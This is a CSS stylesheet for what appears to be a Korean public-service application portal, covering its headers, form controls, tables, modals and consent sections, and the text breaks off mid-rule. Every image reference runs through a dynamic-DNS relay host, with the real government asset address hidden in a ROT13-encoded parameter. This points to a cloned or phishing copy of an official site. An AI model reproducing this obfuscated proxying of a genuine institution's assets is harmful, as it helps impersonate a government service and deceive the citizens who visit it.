@charset "utf-8";

html.default {overflow:hidden;}
body {margin:0; background-color: #fff;}
html,body{ font-size:16px; }

/* rem 기준
8px = 0.5rem
9px = 0.5625rem
10px = 0.625rem
11px = 0.6875rem
12px = 0.75rem
13px = 0.8125rem
14px = 0.875rem
15px = 0.9375rem
16px = 1rem (base)
18px = 1.125rem
20px = 1.25rem
22px = 1.375rem
24px = 1.5rem
26px = 1.625rem
28px = 1.75rem
30px = 1.875rem
32px = 2rem
34px = 2.125rem
36px = 2.25rem
38px = 2.375rem
40px = 2.5rem*/




body, button, input, textarea {
    font-size: 14px;
    font-family: 'Noto Sans KR', sans-serif;
}
/*0618 신규추가*/

/*상단 영역 추가 0617*/
.header_new .header .logo{display: none !important;}
.header_new .header{background: transparent; padding: 0;}
.header_new {position:relative; background: rgb(32,109,189); overflow: hidden;
    background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Shagnpg.purbatwh.tb.xe%2Serfbheprf%2Spff%2S..%2Svzntrf%2Surnqre_ot1.cat") no-repeat left top, url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Shagnpg.purbatwh.tb.xe%2Serfbheprf%2Spff%2S..%2Svzntrf%2Surnqre_ot2.cat") no-repeat right top, linear-gradient(-90deg, rgba(32,109,189,1) 30%, rgba(127,190,38,1) 70%);}
.header_new .header h1{display: flex; justify-content: center; min-height: 110px; }
.header_new .header h1 a{vertical-align: middle; align-content: center; position: relative;}
.header_new .header h1 a em{display: none;}
.header_new .header h1 a:before{content: ""; display: block; width: 220px; height: 198px; position: absolute; right:-230px; top:10px; background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Shagnpg.purbatwh.tb.xe%2Serfbheprf%2Spff%2S..%2Svzntrf%2ScpVpba.cat") no-repeat center;}
.header_new .header h1 a img{display: block;}


/*cotents 전체영역 */
.e-wrap{position: relative;display:flex;width: 100%;height: 100%; flex-direction: column;}

/*cotents 전체영역 */

.content-area {
    width: 100%;
    justify-content: center;
    /*max-width: 1285px;*/
    display: block;
    margin: 0 auto;
    padding: 15px 15px 15px 15px;
    box-sizing: border-box;
   /* min-width: 1024px;*/
  /*  height: calc(100vh - 50px);*/
    height: calc(100vh - 138px);
    overflow: auto;
}


/*radio 버튼 디자인*/
.comp-radio-group input[type="radio"] {
    position: absolute;
    width: 1px;
    height: 1px;
    padding: 0;
    margin: -1px;
    overflow: hidden;
    clip:rect(0,0,0,0);
    border: 0;
}
.comp-radio-group input[type="radio"] + label {
    display: inline-block;
    position: relative;
    padding-left: 30px;
    font-size:14px;
    line-height: 1;
    cursor: pointer;
    padding-left: 25px;
    -webkit-user-select: none;
    -moz-user-select: none;
    -ms-user-select: none;
}

.comp-radio-group input[type="radio"] + label:before {
    content: '';
    position: absolute;
    left: 0;
    top: -2px;
    width: 17px;
    height: 17px;
    text-align: center;
    background: #fafafa;
    border: 1px solid #cacece;
    border-radius: 100%;
    box-shadow: 0px 1px 2px rgba(0,0,0,0.05), inset 0px -15px 10px -12px rgba(0,0,0,0.05);
}
.comp-radio-group input[type="radio"] + label:active:before,
.comp-radio-group input[type="radio"]:checked + label:active:before  {
    box-shadow: 0 1px 2px rgba(0,0,0,0.05), inset 0px 1px 3px rgba(0,0,0,0.1);
}
.comp-radio-group input[type="radio"]:checked + label:before {
    background:#fff;
    border-color: #adb8c0;
}
.comp-radio-group input[type="radio"]:checked + label:after {
    content: '';
    position: absolute;
    left: 5px;
    top: 3px;
    width: 9px;
    height: 9px;
    background:#146ec5;
    border-radius: 100%;
    box-shadow: inset 0px 0px 10px rgba(0,0,0,0.3);
}

/*radio 버튼 디자인*/


.chekgroup {position: relative;}

.chekgroup input[type="checkbox"] {  /* 실제 체크박스는 화면에서 숨김 */
    position: absolute;
    width: 1px;
    height: 1px;
    padding: 0;
    margin: -1px;
    overflow: hidden;
    clip:rect(0,0,0,0);
    border: 0
}
.chekgroup input[type="checkbox"] + label {
    display: inline-block;
    position: relative;
    cursor: pointer;
    -webkit-user-select: none;
    -moz-user-select: none;
    -ms-user-select: none;
}
.chekgroup input[type="checkbox"] + label:before {  /* 가짜 체크박스 */
    content: ' ';
    display: inline-block;
    width: 21px;  /* 체크박스의 너비를 지정 */
    height: 21px;  /* 체크박스의 높이를 지정 */
    line-height: 21px; /* 세로정렬을 위해 높이값과 일치 */
    margin: -2px 8px 0 0;
    text-align: center;
    vertical-align: middle;
    background: #fafafa;
    border: 1px solid #cacece;
    border-radius : 3px;
    box-shadow: 0px 1px 2px rgba(0,0,0,0.05), inset 0px -15px 10px -12px rgba(0,0,0,0.05);
}
.chekgroup input[type="checkbox"] + label:active:before,
.chekgroup input[type="checkbox"]:checked + label:active:before {
    box-shadow: 0 1px 2px rgba(0,0,0,0.05), inset 0px 1px 3px rgba(0,0,0,0.1);
}

.chekgroup input[type="checkbox"]:checked + label:before {  /* 체크박스를 체크했을때 */
    content: '';  /* 체크표시 유니코드 사용 */
    color: #fff;
    /* text-shadow: 1px 1px #fff; */
    background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Shagnpg.purbatwh.tb.xe%2Serfbheprf%2Spff%2S..%2Svzntrf%2Spurpxrq.cat") no-repeat center #47918c;
    border-color: #47918c;
    box-shadow: 0px 1px 2px rgba(0,0,0,0.05), inset 0px -15px 10px -12px rgba(0,0,0,0.05), inset 15px 10px -12px rgba(255,255,255,0.1);
}

.chekgroup input[type="checkbox"] + label {
    font-size: 18px;
    color:#767676;
}

.chekgroup input[type="checkbox"] + label:before {
    width: 19px;
    height: 19px;
    line-height: 19px;
    font-size: 0.8rem;
    background-color: #d0d0d0;
    border: 2px solid #c2c2c2;
}


/*.user-area { position: absolute; top: 30px; right: 100px; }*/



/*
table {width:100%; border-spacing:0;}
table th {border:1px solid; padding:4px;}
table td {border:1px solid; padding:4px;}
table tr.active {background-color: #C8EBFB;}

*/


.req {color:red; line-height: 1}
.error-message {display:block; color:#9b5678; font-size:14px; background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Shagnpg.purbatwh.tb.xe%2Serfbheprf%2Spff%2S..%2Svzntrf%2SreebeVpba.cat") no-repeat left top 11px; padding-left: 19px !important;}
.notice-message {color:#418b94; font-size: 14px; transform: rotate(-0.03deg);}
.cancel-data {text-decoration:line-through; color: #ad4b55;}
.comp-input-attach span.extension{color:#418b94; font-size: 14px; word-wrap: break-word; white-space: normal;}
button {
    cursor: pointer;
    border-radius: 4px;
    margin: 0 1px;
}
button i, a i {margin-right:4px;}
td button {font-size:13px; padding-top:0px; padding-bottom:1px;}

button.icon {font-size:11px;}
button.icon i {margin-right:0;}

input[type="text"] {
    box-sizing: border-box;
    line-height: 22px;
   /* width: auto;*/
    border: 1px solid #aaa;
    height: 30px;
    color: #333;
}
input[readonly="readonly"] {
    background-color: rgba(150, 150, 150, .1);
    color: rgba(0, 0, 0, .6);
}
input[disabled="disabled"],input:disabled{background-color: #cfcfcf !important; border-color: #cfcfcf !important; color:#999 !important;}
textarea {
    box-sizing: border-box;
    padding: 5px !important;
    width: 100%;
    border: 1px solid #aaa !important;
   /* border-radius: 5px;*/
    color: #333;
    resize:none;
}

select {
    -moz-appearance: none;
    -webkit-appearance: none;
    appearance: none;
    font-family: inherit;
    font-size: inherit;
    height: 24px;
    color: #333;
    padding: 0 30px 1px 10px;
    margin: 0;
    border: 1px solid #aaa !important;
    border-radius: 5px;
    background: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Shagnpg.purbatwh.tb.xe%2Serfbheprf%2Spff%2S..%2Svzntrf%2Sfryrpg-neebj.cat') no-repeat 95% 50% #fff;
}
select::-ms-expand { display: none; }
select:disabled { opacity: 0.5; }

.e-wrap:after{display: none;}
.tab{}
.tab-nav{font-size:0; padding-left:0; border-left:1px solid #ddd;}
.tab-nav li{display: inline-block;  height:40px; text-align:center; border-right:1px solid #ddd; border-top:1px solid #ddd;}
.tab-nav li a:before{content:""; position:absolute; left:0; top:0px; width:100%; height:3px; }
.tab-nav li a.active:before{background:#7ea21e;}
.tab-nav li a.active{border-bottom:1px solid #fff;}
.tab-nav li a{ position:relative; display:block; background: #f8f8f8; color: #555; padding:0 30px; line-height:40px; text-decoration:none; font-size:14px;}
.tab-nav li a:hover, .tab-nav li a.active{background:#fff; color:#7ea21e; }
.tab-content{padding: 10px; border:1px solid #ddd;}
.tab-nav li.action a {background:#555; color:#ddd; padding:0 20px;}
.tab-nav li.action a:hover {background:#000; color:#fff;}

.work-form {width:100%; display:block; text-align:left; box-sizing: border-box; padding:0; max-width: 100%;}
.work-form > h2{margin:20px 0 0}
.work-form .titleH2{border-radius: 10px; color:#333333; font-size: 22px;  font-weight:600; border:1px solid #2f5085; padding: 15px 55px; display: block; width: 100%; box-sizing: border-box; box-shadow: 2px 2px 2px rgba(0,0,0,.15);}
.work-form .titleH2 span{transform: rotate(-0.03deg);}
.work-form .titleH2:before{background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Shagnpg.purbatwh.tb.xe%2Serfbheprf%2Spff%2S..%2Svzntrf%2Spwgvgyr.cat") no-repeat left center;  width: 24px; height: 24px; left:22px; top:calc(50% - 12px);}
.info-box {display:inline-block;margin-bottom:20px;}
.info-box h2 {margin:0;}
.info-box dl {position:relative; float:left; padding-left:80px;}
.info-box dl dt {position:absolute; left:0px; top:0px; width:80px; text-align:right; font-weight:bold;}
.info-box dl dd {margin-left:20px;min-width:100px;}
.titleH2 + .work-box{margin-top: 30px;}
/*text 영역*/
.work-box-list {display:flex; margin-bottom:0px;/*max-width:1024px;*/ width: calc(100% / 3.17); padding-bottom: 60px; flex-direction: column; border: 1px solid #cccccc; border-radius: 20px; overflow: hidden; box-shadow: 3px 3px 3px rgba(0,0,0,.15); position: relative; }
.work-box-list h2 {position: relative;
    display:flex; font-size: 20px; padding: 20px 25px; font-weight:500; color:#fff; line-height:120%; min-height: 106px; background: #6d5b5d; box-sizing: border-box; transform: rotate(-0.03deg);  z-index: 99;}
.work-box-list h2:before{content: ""; display: block; position: absolute; right: -62px; left: auto;
    top: -13px; width: 132px; height: 132px; background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Shagnpg.purbatwh.tb.xe%2Serfbheprf%2Spff%2S..%2Svzntrf%2Spw_ot.cat") no-repeat center; z-index: -1;}
.btn-group{margin:10px 0}
.foot-btn-group button, .foot-btn-group a{padding:8px 30px; font-size:1rem; min-width: 145px; border-radius: 7px;}
.foot-btn-group.lineTop{border-top:3px solid #333333; padding-top: 25px;}
.con-wrap{box-sizing: border-box; max-width: 1250px; padding: 0; border: 0; width: 100%; border-radius: 0; background: transparent;}
.con-wrap.work{display:flex; gap: 30px; flex-wrap: wrap;}
.con-wrap h1{font-size:2rem; font-weight:500; z-index: 999; position: relative;}
.work-box-list .data_group.table-list{width: calc(100% - 30px); margin-left: 15px; border-radius: 20px; box-sizing: border-box; padding:15px; background: #fff; border: 1px solid #ccc; margin-top: -22px !important; z-index: 999; box-shadow: 2px 2px 4px rgba(0,0,0,.15);}
.work-box-list .data_group.table-list dl:first-child{margin-top: 0;}
.work-box-list .data_group.table-list dl{display: flex; margin-top: 12px; border-left: 0;}
.work-box-list .data_group.table-list dl dt{flex-basis:auto; width: 100px; border: 0; background: none; padding: 0;}
.work-box-list .data_group.table-list dl dt span{padding:4px 20px; padding:2px 20px; position: relative; display: block; box-sizing: border-box; top:-4px;
  border: 1px solid #206dbd; border-radius: 40px; color:#206dbd;background: #e6eef5; font-weight: 500; font-size: 15px; transform: rotate(-0.03deg);}
.work-box-list .data_group.table-list dl:nth-of-type(2) dt span{color:#ad5f66; border-color: #ad5f66; background: #f7efef;}
.work-box-list .data_group.table-list dl:nth-of-type(3) dt span{color:#3a7101; border-color: #659e2b; background: #eff5e9;}
.work-box-list .data_group.table-list dl:nth-of-type(4) dt span{color:#464646; border-color: #6c6c6c; background: #f0f0f0;}
.work-box-list .data_group.table-list dl dd{padding:0px 17px; font-size: 17px; color: #444444; transform: rotate(-0.03deg); flex : 1; text-align: left; border: 0;}
.work-box-list .data_group.table-list + .btn-group{ display: flex; justify-content: center; margin: 17px 0; transform: rotate(-0.03deg); position: absolute; bottom: 0; width: 100%;}
.work-box-list .data_group.table-list + .btn-group button:hover,.work-box-list .data_group.table-list + .btn-group button:focus ,.work-box-list .data_group.table-list + .btn-group a:hover,.work-box-list .data_group.table-list + .btn-group a:focus{text-decoration: underline;}
.work-box-list .data_group.table-list + .btn-group a,.work-box-list .data_group.table-list + .btn-group button{background: transparent; color: #484848; font-size: 18px; font-weight: 500; display: block; width: calc(100% / 3); padding: 0px; margin: 0; position: relative;}
.work-box-list .data_group.table-list + .btn-group a:disabled,.work-box-list .data_group.table-list + .btn-group button:disabled{opacity: .5;}
.work-box-list .data_group.table-list + .btn-group a:first-child:before,.work-box-list .data_group.table-list + .btn-group button:first-child:before{display: none;}
.work-box-list .data_group.table-list + .btn-group a:before,.work-box-list .data_group.table-list + .btn-group button:before{content: ""; display: block; position: absolute; top:50%; margin-top: -8px; left:0; width: 2px; height: 17px; background: #b6adae;}
.work-box-list .data_group.table-list + .btn-group .btn-blue{color:#206dbd;}
    /*상단버튼*/
.header_new .user-area{position: relative; display: block; width:100%; background:rgba(0,0,0,.5); padding:0; margin:0; height: 42px; display: flex; justify-content: center; width: 100%;}
.header_new .r-gnb{max-width: 1285px; display: flex; align-content: center; width: 100%; justify-content: right;}
.header_new .r-gnb a,
.header_new .r-gnb span{color:#fff9c7; font-size:16px; line-height: 38px; display: block; border:0; }
.header_new .r-gnb span{font-size:0.98rem; font-weight:500; padding-top: 3px; background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Shagnpg.purbatwh.tb.xe%2Serfbheprf%2Spff%2S..%2Svzntrf%2Shfre.cat") no-repeat left center; padding-left:27px; margin-right: 15px; color:#fff; }
.header_new .r-gnb a{font-weight:500; transform: rotate(-0.03deg);}
.header_new .r-gnb a:hover{color:#fff9c7; text-decoration: underline; background-color:transparent; }
.header_new .rGnb1{background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Shagnpg.purbatwh.tb.xe%2Serfbheprf%2Spff%2S..%2Svzntrf%2StaoEVpba.cat") no-repeat left center !important; padding-left: 28px;}
.header_new .log-out,.header_new .log-out:hover,.header_new .log-out:focus{background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Shagnpg.purbatwh.tb.xe%2Serfbheprf%2Spff%2S..%2Svzntrf%2Sybtbhg.cat") no-repeat center left; padding-left: 25px; margin-left: 5px; color:#fff !important;}
.circle-box {
    margin:0 auto;
    position: relative;
    width: 100%;
    max-width: 280px;
    text-align: center;
    overflow: visible;
    background: transparent;
    border-radius: 3px;
    border: 0;
    padding:20px 0 30px
}
.circle-box .title {
    position: absolute;
    bottom: 40px;
    width: 100%;
    text-align: center;
    /* padding: 85px 0 30px; */
    font-size: 26px;
    line-height: 26px;
    font-weight: 600;
    color: #7fbc27;
    margin: 20px 0 30px;
    letter-spacing: -1px;
}
.circle-box .cont {
    position: relative;
    margin-bottom: 30px;
    font-size: 20px;
    text-align: center;
    padding:70px 45px;
    line-height: 115%;
    font-weight: 500;
    color: #2f538f;
    word-break: break-word;
}
.circle-box .cont:after{
    position: absolute;
    top:calc(50% + 50px);
    left:calc(50% - 82px);
    display: block;
    content: "";
    width: 194px;
    height: 190px;
    background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Shagnpg.purbatwh.tb.xe%2Serfbheprf%2Spff%2S..%2Svzntrf%2Sfu.cat") no-repeat center top;
}
.circle-box .cont br{display: none;}
.circle-box .cont br.nbr{display: block; }
.circle-box .put {
    position: absolute;
    bottom: -60px;
    background: none;
    width: 100%;
    text-align: center;
}
{    background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Shagnpg.purbatwh.tb.xe%2Serfbheprf%2Spff%2S..%2Svzntrf%2Sfu.cat") no-repeat center top;}
.phone{margin-top: -30px;}
.phoneG{background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Shagnpg.purbatwh.tb.xe%2Serfbheprf%2Spff%2S..%2Svzntrf%2ScubarOt.cat") no-repeat center top; height: 486px; position: relative; z-index:999;}
.phone:before{content: ""; display: block; width: 297px; height: 297px; background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Shagnpg.purbatwh.tb.xe%2Serfbheprf%2Spff%2S..%2Svzntrf%2SpwVpba.cat") no-repeat center; position: absolute; right:-195px; top:calc(50% - 150px);}
.circle-box .put button{border-radius: 10px; font-size: 20px; font-weight: 500; height: auto; padding: 8px 10px; background: #767676;}
.modal-mask {
  position: fixed;
  z-index: 9998;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
  background-color: rgba(0, 0, 0, .8);
  display: table;
  transition: opacity .3s ease;
}

.modal-wrapper {
  display: table-cell;
  vertical-align: middle;
}

.modal-container {
  width: 300px;
  margin: 0px auto;
  padding: 20px 30px;
  background-color: #fff;
  border-radius: 2px;
  box-shadow: 0 2px 8px rgba(0, 0, 0, .33);
}
.modal-header{margin-top: -20px; margin-left: -30px; margin-right: -30px;
    background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Shagnpg.purbatwh.tb.xe%2Serfbheprf%2Spff%2S..%2Svzntrf%2Surnqre_ot2.cat) no-repeat right top, linear-gradient(-90deg, #5fa952 30%, #4a917a 70%);
    box-shadow:inset 0px -3px 3px rgba(0,0,0,.1);
}
.modal-header h3 {
  margin-top: 0;
    color:#fff;
  font-size:20px;
    font-weight: 600;
    padding: 10px 25px;
    min-height: 27px;
}
.modal-header h3 i:before{color:#222; position: relative; top:3px; right:3px; transform: rotate(0deg); transition: all .3s ease-in; display: block;}
.modal-header h3 i:hover:before{transform: rotate(180deg); transition: .3s all ease-in;}
.modal-body {
  margin: 20px 0;
  max-height: calc(90vh - 100px);
  overflow-y:auto;
}
.comp-input-attach button.download-btn{
    background-color: #239bdf;
    color: #fff;
    border-color: #239bdf;
    border-radius: 6px;
}
.comp-input-attach button.download-btn i:before{color:#fff;}
.modal-footer button{
    background: #6d5b5d;
    color: #fff;
    padding: 5px 15px;
    border-radius: 40px;
    min-width: 80px;
    font-size: 15px;
}

.modal-enter {
  opacity: 0;
}

.modal-leave-active {
  opacity: 0;
}

.field{position:relative; width:100%; padding:10px 20px; box-sizing: border-box}

fieldset {
    position: relative;
    display: block;
    margin-top:40px
}
fieldset legend ,.titleH3{position: relative; display:block; font-size:16px;font-weight:500;color:#1e3d75;left: 0;top: 0px; width:100%; box-sizing: border-box; text-align: left; border-bottom: 1px solid #a2a2a2; margin-bottom: 20px;}
fieldset legend span,.titleH3 span{ background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Shagnpg.purbatwh.tb.xe%2Serfbheprf%2Spff%2S..%2Svzntrf%2Su3Ot.cat") no-repeat left top #418b94; padding-right: 25px; display: inline-flex; min-width: 215px; box-sizing: border-box; padding-left: 40px; color:#fff; border-radius: 17px 17px 0 0; font-size: 18px; font-weight: 500; min-height: 40px; width: auto; align-items: center;}
.table-list{display: table; width:100%}
.table-list dl{display: table-cell;}
.table-list{border-top:solid 3px #333; border-left:0; border-right:0; border-bottom:0; background: #e9e9e9; border-radius: 0; padding:0;  text-align: center; margin-top:20px}
fieldset  div.field {display:inline-block; vertical-align: top;}
.default-info .field{margin:0; padding:0; border-bottom: 1px solid #c1c1c1;}
.default-info label, .table-list dt{background:#edf3f9;}
.default-info label, .default-info span{padding-left: 40px; border-bottom: 1px solid #ababab; height:40px !important; }
.tableType .field span{padding-bottom: 7px;}
.table-list dt{padding: 10px 0;
    border-bottom: 1px solid #333;
    background: #e9e9e9;
    color: #333 !important;
    font-size: 17px !important;
    font-weight: 500;
    height: auto !important;
}
.table-list dd{background-color: #fff; padding: 10px;
    height: auto !important;
    font-size: 16px !important;
}
.table-list dl{border-left: 1px solid #c1c1c1;}
.table-list dl:first-child{    border-left: 0;}
.default-info label{height: auto !important; border-top:3px solid #333; border-bottom: 1px solid #333; background: #e9e9e9; color:#333 !important; font-size: 17px !important;}
.default-info span{border: 0; height: auto !important; font-size: 16px !important;}
.default-info label:before{display: none;}
.default-info .field.wd-third{border-left:1px solid #c1c1c1;}
.default-info .field.wd-third:nth-of-type(1){border-left: 0;}
fieldset{background:none;  border-top:0; border-bottom: 0; padding:0;}
.upload-btn{background-color: #6d5b5d !important; border-color: #6d5b5d !important; border-radius: 6px !important; color:#fff !important; padding-left: 28px !important;}
.upload-btn *{color:#fff !important; }
.upload-btn i:before{font-size: 0;}
.upload-btn i{background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Shagnpg.purbatwh.tb.xe%2Serfbheprf%2Spff%2S..%2Svzntrf%2SqbjaOga.cat") no-repeat; width: 15px; height: 18px;    position: absolute; left: 8px;}

/*button disable*/
button:disabled{color:#ddd;  background: #b8b8b8}
button:hover:disabled{ background: #b8b8b8}

.comp-road-juso{display: flex; gap:8px; flex-wrap: wrap;}
.comp-road-juso input.address{margin: 0; width: calc(100% - 200px);}
.comp-road-juso button{margin: 0; border-radius: 6px !important; background-color:#408b95;}
.comp-road-juso .error-message:before {
    content: "";
    background: green;
    order: 3;
    flex-basis: 100%;
    height: 16px;
}
input[readonly="readonly"]{background-color: #cfcfcf !important; border-color: #bbbbbb !important; color:#222 !important;}
.work-form fieldset > legend + .field,.work-form fieldset > legend + .field.wd-half +.field.wd-half {padding-top: 0px;}
.work-form fieldset > .field{padding-left: 0;}
    /*지원신청 기본정보*/

/*달력*/


.field .req, .comp-date-picker{display: inline-block; vertical-align: top}

div.field > label {position:relative; display:block;font-weight:500; padding: 7px 0 7px 20px; font-size: 16px; color:#5072b1; font-weight: 500; height: auto;}
div.field > label + div{font-size: 16px; color:#333; font-weight: 400; transform: rotate(-0.03deg);}
div.field > label:before{content: ''; position: absolute; left:0; top:50%; margin-top: -8px; width:16px; height:16px; background:transparent; border-radius: 180px; border: 4px solid #2270ba; box-sizing: border-box;}
/*.step4 .field label:before{top:15px}*/
.default-info .field label:before{background: none}

div.field span{padding:7px 0 0px 0; display: block}
div.field input{padding:3px 5px; background-color: #f9f9f9; border-color: #bbbbbb;}
.field select{background-color: #f9f9f9; border-color: #bbbbbb;}
.wd-half {width:49% !important; }
.wd-third {width:33.33% !important;/* margin-right:0.3%;*/}




/*table*/
.data-table{width: 100%; margin:0 0 10px; border-top:2px solid #333;}

/*.check .field span,*/
.table-list thead th,
.data-table thead th{border-bottom: 1px solid #333; padding:7px 0 8px; font-size: 0.98rem; color: #333; font-size: 14px; background-color: #e9e9e9; border-left: 1px solid #c6c6c6; font-weight: 500;}
.data-table thead tr th:first-child{border-left: 0;}
.data-table tbody td,
.data-table tfoot td,
.table-list tbody tr td{padding:8px 5px 7px; border-bottom: 1px solid #c6c6c6;text-align:center; border-left: 1px solid #c6c6c6; padding: 5px;}
.data-table tbody tr td:nth-of-type(1){border-left: 0;}
.data-table tbody tr:nth-child(even) td{background-color: #f8f8f9;}
.data-table tbody tr:hover >td{background:#e5ecf3}
.data-table tbody tr td button{border: 1px solid #686868; background-color: #f6f6f6; color:#444; border-radius: 40px; min-width: 80px; padding: 2px 10px;}
.data-table tbody tr td button:hover,.data-table tbody tr td button:focus{color:#fff; background-color:#686868;}
.comp-road-juso button,
.table-list tbody button,
.data-table tbody button{ border-radius: 3px; padding:5px 10px}

.table-title {margin:10px 0;}
.table-title h3 {display:inline; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Shagnpg.purbatwh.tb.xe%2Serfbheprf%2Spff%2S..%2Svzntrf%2Soyrg_gvg.cat) no-repeat left center; padding-left:25px; font-weight:500; font-size:1.1rem; background-size:15%}
.data-table td a{color:#2b5881;}
.data-table a:hover{text-decoration: underline; color: #063361}
.comp-date-range-picker{position: relative;}
.comp-date-range-picker .field.check div{box-sizing: border-box;}
.comp-date-range-picker span.inline-block{position: relative; top:0}

/*날짜*/
.field .comp-date-picker span{padding:0; display: inline-block}

.check .field div
.check .field div,
.write-list .field div{width:70%; vertical-align: top; padding:7px 10px; box-sizing: border-box; }

.write-list .wd-half input{padding:3px}
.write-list .field .comp-date-range-picker,
.check .field .comp-date-range-picker{padding:0 10px}

.field select{height:30px; border-radius: 0 }
.btn-group a i,
.foot-btn-group i,
.comp-road-juso button i{color:#fff}
.btn-group a,
.btn-group button,
.foot-btn-group button, .foot-btn-group a{margin:0 3px;}

/*신청서비스 리스트 table*/
.table-list th{background:#edf3f9}
.table-list tbody td{padding:10px 5px}

.field-list{}
.field-list div{display: block}
.field.check span{display:inline-block}
.write-list .comp-date-range-picker .comp-flat-picker,
.comp-date-range-picker .comp-flat-picker{display: inline-block; position: relative}
.date-picker {position: relative}
.comp-flat-picker i{top:8px}
.write-list .comp-date-range-picker span{}

.file{padding-left: 20px;}
.file a{position: relative; display:block; text-decoration: none; background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Shagnpg.purbatwh.tb.xe%2Serfbheprf%2Spff%2S..%2Svzntrf%2SsvyrVpba.cat") no-repeat left center; padding: 5px 5px 5px 40px !important; color:#2f5085; font-size: 16px;}
.file a:hover, .file a:focus{text-decoration: underline;}
.file + .titleH3{margin-top: 30px;}
/*신청인정보 */
.comp-input-text input{width:100%}

/*신청동의 */

.agreeArea{ border: solid 1px #ddd;/* border-top:solid 1px #ddd; border-bottom:solid 1px #ddd; */  }
.agreeArea1{border:none;  }
.agreeArea,
.agreeArea1 {margin:30px auto 10px auto;padding:30px; box-sizing: border-box; text-align: left; background-color: #f2f2f2; border: 1px solid #cccccc; color:#444; font-size: 16px;}

.compBox{
    display: flex;
    align-items: center;
    justify-content: center;
    width: 100%;
    flex-direction: column;
    margin:-55px auto;
    min-height: 400px;
    position: relative;
    padding: 40px;
    box-sizing: border-box;
    color: #FFF;
    background: #fff;
    background-clip: padding-box;
    border: solid 5px transparent;
    border-radius: 1em;
    box-shadow: 3px 3px 3px rgba(0,0,0,.2);
}
.compBox:before {
     content: '';
     position: absolute;
     top: 0; right: 0; bottom: 0; left: 0;
     z-index: -1;
     margin: -5px;
     border-radius: inherit;
     background: linear-gradient(to bottom, #206ebc, #7dbc2f);
 }
.compBox:after{content: ""; display: block; width: 275px; height: 250px; background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Shagnpg.purbatwh.tb.xe%2Serfbheprf%2Spff%2S..%2Svzntrf%2Scp.cat") no-repeat center; position: absolute; bottom:-180px; right:-130px;}
.compBox + .foot-btn-group{margin-top: 100px !important;}
.compBox + .foot-btn-group a.checkBtn{font-size: 23px; padding: 20px; background-color: #5c5c5c; min-width: 250px; box-sizing: border-box; display: inline-block;}
/*.agree-tit{ width:80%; }*/
.agree-step2 .agree-tit{margin:0;}
/*.agree-step1 .agree-tit, */.agree-step2 .agree-tit{width:100%; background:none; display:block;  box-sizing:border-box;}
.agree-step1 .agree-tit{width:70%; text-align: left; margin:30px auto 10px}
/*.agree-step1 h2{margin:0}
.agree-step1 h2,*/
.lastArea-tit {width:80%; margin:0 auto; text-align: left}
.agree-step2 h3{position:relative;display:block; font-size: 44px; background: #fff; font-weight:600; color:#419197; padding:0; font-weight: 600;}
.complete-txt p{font-size:1rem}
.complete-txt p:nth-child(1){font-size:40px; font-weight:500; margin:0; color:#5a5a5a;}

/*본인인증 title*/
h2.sign-tit{font-weight:400;padding: 20px 0 10px;width:400px;font-size: 1.7rem;box-sizing: border-box;text-align: left; padding-left:30px;}
/*.agree-step1 h2:before,
h2.sign-tit:before{background: none}*/

.item-example {
    background: #fff;
    border: solid 0px #9ec3e7;
    border-radius: 4px;
    padding: 3px 6px;
    margin-top: 4px;
    color:#9b5678;
    font-size: 14px;
}
.item-example i {color:#ff0081;}
.item-example span { display: inline !important; }

.titleNew strong{display: flex; color:#2270ba; font-size:40px !important; min-height: 106px; box-sizing: border-box; padding:10px 70px 20px 70px; align-items: center; position: relative;
background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Shagnpg.purbatwh.tb.xe%2Serfbheprf%2Spff%2S..%2Svzntrf%2Sgvgyr_yo.cat") no-repeat left bottom, url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Shagnpg.purbatwh.tb.xe%2Serfbheprf%2Spff%2S..%2Svzntrf%2Sgvgyr_yg.cat") no-repeat left top, url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Shagnpg.purbatwh.tb.xe%2Serfbheprf%2Spff%2S..%2Svzntrf%2Sgvgyr_eg.cat") no-repeat right top,
